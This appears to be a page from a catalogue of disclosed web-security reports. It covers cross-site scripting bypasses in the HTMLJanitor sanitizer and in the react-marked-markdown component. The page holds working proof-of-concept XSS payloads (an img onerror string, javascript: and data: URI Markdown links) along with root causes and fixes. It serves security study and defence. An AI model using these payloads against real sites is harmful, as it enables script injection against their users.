var j = new HTMLJanitor({tags:{p:{}}}); j.clean("<p><img src onerror=alert()><p>");

Insight — Never trust a client-side sanitizer that uses innerHTML/createElement on a live document to 'parse then strip'. Safe parsing must use an inert document: document.implementation.createHTMLDocument(), DOMParser, or <template>.content. When auditing any HTML-sanitizer/whitelist library, grep for innerHTML/outerHTML/insertAdjacentHTML in the parse step.

Real-world example

Markdown renderer allows javascript: href even with sanitize enabled

◆ Critical
Specimen #344069 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface web

Root cause

react-marked-markdown overrides marked's link renderer with a custom function that does not validate/escape the href, so marked's sanitize:true (which escapes tag output, not link schemes) does not prevent a javascript: URI in a Markdown link.

Method

  1. Render attacker-supplied Markdown through the component with markedOptions={{sanitize:true}}
  2. Use a Markdown link whose URL is a javascript: URI; the custom renderer emits <a href="javascript:..."> and it fires on click
[XSS](javascript: alert`1`)

Insight — Markdown-to-HTML is a recurring XSS sink: even with a 'sanitize' flag, custom link/image renderers and permissive schemes (javascript:, data:, vbscript:) slip through. When testing any markdown field, try [x](javascript:alert(1)) and ![x](data:text/html,...). Fix: allowlist http/https/mailto for hrefs.

§References & practice

  1. PortSwigger Web Security Academy — Cross-site scripting labs (hands-on practice).
  2. All 936 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.